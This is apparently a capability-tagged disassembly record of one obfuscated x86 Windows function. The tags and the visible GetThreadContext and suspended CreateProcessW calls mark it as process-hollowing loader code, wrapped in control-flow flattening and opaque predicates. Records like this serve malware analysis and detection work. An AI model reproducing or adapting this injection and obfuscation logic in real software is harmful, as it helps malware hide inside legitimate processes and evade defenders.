Function at 0x10002d50
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [0x1006a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0xaf3d44de
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x808e97ce
je 0x10007d36
jmp 0x10002d8c
mov eax, dword [ebp - 0x190]
sub eax, 0x823cf576
je 0x1000a128
jmp 0x10002da2
mov eax, dword [ebp - 0x190]
sub eax, 0x82bec490
je 0x10008029
jmp 0x10002db8
mov eax, dword [ebp - 0x190]
sub eax, 0x82f0a0eb
je 0x100051bf
jmp 0x10002dce
mov eax, dword [ebp - 0x190]
sub eax, 0x834db97c
je 0x10008eda
jmp 0x10002de4
mov eax, dword [ebp - 0x190]
sub eax, 0x8463e2a5
je 0x1000800a
jmp 0x10002dfa
mov eax, dword [ebp - 0x190]
sub eax, 0x851f8a95
je 0x10006054
jmp 0x10002e10
mov eax, dword [ebp - 0x190]
sub eax, 0x8539769e
je 0x1000a741
jmp 0x10002e26
mov eax, dword [ebp - 0x190]
sub eax, 0x8577ba9c
je 0x10007054
jmp 0x10002e3c
mov eax, dword [ebp - 0x190]
sub eax, 0x8589f44c
je 0x1000a632
jmp 0x10002e52
mov eax, dword [ebp - 0x190]
sub eax, 0x85a16cb0
je 0x10006248
jmp 0x10002e68
mov eax, dword [ebp - 0x190]
sub eax, 0x85ebca5d
je 0x10006e6f
jmp 0x10002e7e
mov eax, dword [ebp - 0x190]
sub eax, 0x86b26a0c
je 0x100058c4
jmp 0x10002e94
mov eax, dword [ebp - 0x190]
sub eax, 0x8730bc19
je 0x1000a6ec
jmp 0x10002eaa
mov eax, dword [ebp - 0x190]
sub eax, 0x878df8ce
je 0x10005286
jmp 0x10002ec0
mov eax, dword [ebp - 0x190]
sub eax, 0x887f1720
je 0x10007316
jmp 0x10002ed6
mov eax, dword [ebp - 0x190]
sub eax, 0x8aab2ccd
je 0x10005d82
jmp 0x10002eec
mov eax, dword [ebp - 0x190]
sub eax, 0x8b52076f
je 0x10006cd5
jmp 0x10002f02
mov eax, dword [ebp - 0x190]
sub eax, 0x8b811e60
je 0x10005dec
jmp 0x10002f18
mov eax, dword [ebp - 0x190]
sub eax, 0x8b90af63
je 0x10007960
jmp 0x10002f2e
mov eax, dword [ebp - 0x190]
sub eax, 0x8ba994ce
je 0x1000659b
jmp 0x10002f44
mov eax, dword [ebp - 0x190]
sub eax, 0x8bc19a52
je 0x10008b22
jmp 0x10002f5a
mov eax, dword [ebp - 0x190]
sub eax, 0x8c594ebf
je 0x10007ef2
jmp 0x10002f70
mov eax, dword [ebp - 0x190]
sub eax, 0x8c7f55bb
je 0x100098b4
jmp 0x10002f86
mov eax, dword [ebp - 0x190]
sub eax, 0x8d2a0b81
je 0x100075bf
jmp 0x10002f9c
mov eax, dword [ebp - 0x190]
sub eax, 0x8e12db43
je 0x100091fa
jmp 0x10002fb2
mov eax, dword [ebp - 0x190]
sub eax, 0x8e7e10ac
je 0x10006433
jmp 0x10002fc8
mov eax, dword [ebp - 0x190]
sub eax, 0x8ec97b38
je 0x10006df5
jmp 0x10002fde
mov eax, dword [ebp - 0x190]
sub eax, 0x8eee756b
je 0x1000a750
jmp 0x10002ff4
mov eax, dword [ebp - 0x190]
sub eax, 0x8ef0770b
je 0x1000878b
jmp 0x1000300a
mov eax, dword [ebp - 0x190]
sub eax, 0x8f592c9a
je 0x10009479
jmp 0x10003020
mov eax, dword [ebp - 0x190]
sub eax, 0x8f697b68
je 0x10009ca7
jmp 0x10003036
mov eax, dword [ebp - 0x190]
sub eax, 0x90904803
je 0x10006815
jmp 0x1000304c
mov eax, dword [ebp - 0x190]
sub eax, 0x91153183
je 0x10008827
jmp 0x10003062
mov eax, dword [ebp - 0x190]
sub eax, 0x9213a447
je 0x100096d3
jmp 0x10003078
mov eax, dword [ebp - 0x190]
sub eax, 0x92ac6f51
je 0x1000783e
jmp 0x1000308e
mov eax, dword [ebp - 0x190]
sub eax, 0x9339781b
je 0x1000a996
jmp 0x100030a4
mov eax, dword [ebp - 0x190]
sub eax, 0x937c3f96
je 0x10009d80
jmp 0x100030ba
mov eax, dword [ebp - 0x190]
sub eax, 0x947a312d
je 0x10006190
jmp 0x100030d0
mov eax, dword [ebp - 0x190]
sub eax, 0x95aa6496
je 0x10005295
jmp 0x100030e6
mov eax, dword [ebp - 0x190]
sub eax, 0x96456de3
je 0x10005715
jmp 0x100030fc
mov eax, dword [ebp - 0x190]
sub eax, 0x96f00fc2
je 0x10008a1e
jmp 0x10003112
mov eax, dword [ebp - 0x190]
sub eax, 0x979e86aa
je 0x100053a2
jmp 0x10003128
mov eax, dword [ebp - 0x190]
sub eax, 0x97fe99e6
je 0x1000a232
jmp 0x1000313e
mov eax, dword [ebp - 0x190]
sub eax, 0x9975fc85
je 0x10006870
jmp 0x10003154
mov eax, dword [ebp - 0x190]
sub eax, 0x9afae800
je 0x10009dce
jmp 0x1000316a
mov eax, dword [ebp - 0x190]
sub eax, 0x9b7e7619
je 0x10006364
jmp 0x10003180
mov eax, dword [ebp - 0x190]
sub eax, 0x9c4189f0
je 0x100054d1
jmp 0x10003196
mov eax, dword [ebp - 0x190]
sub eax, 0x9c500a02
je 0x100074c9
jmp 0x100031ac
mov eax, dword [ebp - 0x190]
sub eax, 0x9c79ed1e
je 0x1000a889
jmp 0x100031c2
mov eax, dword [ebp - 0x190]
sub eax, 0x9cd6dcc8
je 0x10005fbf
jmp 0x100031d8
mov eax, dword [ebp - 0x190]
sub eax, 0x9e54659f
je 0x10006c4e
jmp 0x100031ee
mov eax, dword [ebp - 0x190]
sub eax, 0x9f048894
je 0x100078d1
jmp 0x10003204
mov eax, dword [ebp - 0x190]
sub eax, 0xa06430ee
je 0x100057fb
jmp 0x1000321a
mov eax, dword [ebp - 0x190]
sub eax, 0xa29671c0
je 0x100099c4
jmp 0x10003230
mov eax, dword [ebp - 0x190]
sub eax, 0xa3001245
je 0x100069c4
jmp 0x10003246
mov eax, dword [ebp - 0x190]
sub eax, 0xa36234c1
je 0x1000594b
jmp 0x1000325c
mov eax, dword [ebp - 0x190]
sub eax, 0xa3b95fcb
je 0x1000591c
jmp 0x10003272
mov eax, dword [ebp - 0x190]
sub eax, 0xa3da3fda
je 0x10005ea4
jmp 0x10003288
mov eax, dword [ebp - 0x190]
sub eax, 0xa462b832
je 0x1000a378
jmp 0x1000329e
mov eax, dword [ebp - 0x190]
sub eax, 0xa5a4da12
je 0x10007da0
jmp 0x100032b4
mov eax, dword [ebp - 0x190]
sub eax, 0xa5c6f7b5
je 0x10008048
jmp 0x100032ca
mov eax, dword [ebp - 0x190]
sub eax, 0xa65a9172
je 0x1000820e
jmp 0x100032e0
mov eax, dword [ebp - 0x190]
sub eax, 0xa68014aa
je 0x1000693f
jmp 0x100032f6
mov eax, dword [ebp - 0x190]
sub eax, 0xa731c0ea
je 0x100059c1
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x559e670f
sub edx, 1
add edx, 0x559e670f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4c7f4d45
mov ecx, 0xc330c127
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x95aa6496
jmp 0x1000aabc
movss xmm0, dword [0x10018398]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x18c], 0xa742edde
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x198b8031
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x20aed0d5
mov ecx, 0x15712363
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0xd2f6934
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0xec05819b
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d432170
mov ecx, 0xd629dff1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0xa36234c1
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x96170122
sub edx, 1
add edx, 0x96170122
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x32028086
mov ecx, 0xa731c0ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x4466fdfe
jmp 0x1000aabc
movss xmm0, dword [0x10018350]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0xf5c3f332
jmp 0x1000aabc
movss xmm0, dword [0x1001833c]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10018338]
movss dword [ebp - 0x134], xmm0
mov dl, 1
mov eax, 0x1f45bb17
mov ecx, 0xdc943beb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x1f45bb17
jmp 0x1000aabc
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x134], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa462b832
mov ecx, 0xa8c810db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001832c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x36a009ca
jmp 0x1000aabc
movss xmm0, dword [0x1001831c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x5e7135de
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x627e5e16
mov ecx, 0xbaa60e04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x63ec56d3
jmp 0x1000aabc
movss xmm0, dword [0x1001830c]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018308]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0xb293aad9
jmp 0x1000aabc
mov dl, 1
mov eax, 0x9975fc85
mov ecx, 0xd6c745d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x8428720e
sub edx, 1
sub edx, 0x8428720e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc65b8efc
mov ecx, 0xd383c630
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0xea67c30a
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x451e7775
sub edx, 1
sub edx, 0x451e7775
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6fe5af04
mov ecx, 0x68156466
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x13c], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73c38caf
mov ecx, 0x2efdc20e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0xfe7eed5
sub edx, 1
sub edx, 0xfe7eed5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd1318f11
mov ecx, 0x403436fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x100182d8]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x18c], 0xb185bd1a
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0x63bb92cc
sub edx, 1
sub edx, 0x63bb92cc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc049f901
mov ecx, 0x3e6c4a64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x13c], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0xef921d93
sub edx, 1
sub edx, 0xef921d93
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5bc06
mov ecx, 0xf9570dc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x100182b8]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x18c], 0x7b8ce63d
jmp 0x1000aabc
movss xmm0, dword [0x100182a4]
movss dword [ebp - 0x140], xmm0
mov dword [ebp - 0x18c], 0xea166875
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x2705fd8b
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x4e7c0fb2
sub edx, 1
add edx, 0x4e7c0fb2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeb0c199d
mov ecx, 0x2ccd00c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
movss xmm0, dword [0x1001827c]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0x56b93791
jmp 0x1000aabc
movss xmm0, dword [0x100181b0]
movss dword [ebp - 0x144], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf8db373
mov ecx, 0x5f008b13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x1c14fcbf
jmp 0x1000aabc
movss xmm0, dword [0x10018258]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0xe677904e
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0xc7213b6
jmp 0x1000aabc
movss xmm0, dword [0x10018250]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0x82bec490
jmp 0x1000aabc
movss xmm0, dword [0x1001824c]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0xa5c6f7b5
jmp 0x1000aabc
movss xmm0, dword [0x10018248]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0xe19a2665
jmp 0x1000aabc
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x148], xmm0
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x148], xmm0
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0xb16bb66f
sub edx, 1
sub edx, 0xb16bb66f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa9b190fb
mov ecx, 0x66531c52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dl, byte [ebp - 0xed]
mov eax, 0x4bb638dd
mov ecx, 0xdde06b1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xec], eax
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8539769e
mov ecx, 0x3a3a77ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x38287472
mov ecx, 0xc8c97155
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0xd9c4ce66
sub edx, 1
add edx, 0xd9c4ce66
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1918809e
mov ecx, 0x661260ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dl, byte [ebp - 0xc9]
mov eax, 0x6e329f8
mov ecx, 0xdb137bfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0xc102cf19
sub edx, 1
sub edx, 0xc102cf19
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2eb1b7d2
mov ecx, 0xd286b90f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
sub edx, 0x357601a8
sub edx, 1
add edx, 0x357601a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc31954c3
mov ecx, 0x214d86ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x18c], 0x6db50fd7
jmp 0x1000aabc
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
sub eax, 0x1de1add2
add eax, 8
add eax, 0x1de1add2
mov dword [ebp - 0x98], eax
mov ecx, dword [0x1006b928]
mov eax, dword [0x1006b924]
mov edx, ecx
add edx, 0x93cc7040
sub edx, 1
sub edx, 0x93cc7040
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e805c51
mov ecx, 0xa7dac929
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
add edx, 0xedda9311
sub edx, 1
sub edx, 0xedda9311
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc4ad0e11
mov ecx, 0xd5f45607
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb7c7f19
mov ecx, 0xc95ca1e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov ecx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x18c], 0xa29671c0
jmp 0x1000aabc
mov eax, dword [0x1006b928]
mov ecx, dword [0x1006b924]
mov edx, eax
sub edx, 0x3fdc1361
sub edx, 1
add edx, 0x3fdc1361
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a0b3f38
mov ecx, 0xacdd68d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0xa8cdb228
jmp 0x1000aabc
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000b330
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x851f8a95
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x711c03b
jmp 0x1000aabc
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0x52976eb9
jmp 0x1000aabc
mov dword [ebp - 0x18c], 0x91153183
jmp 0x1000aabc
mov edx, dword [ebp - 0xec]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x18c], 0xb46588a2
jmp 0x1000aabc
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x18c], 0xb48727a5
jmp 0x1000aabc
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x18c], 0xb83f1f31
jmp 0x1000aabc
jmp 0x10002d70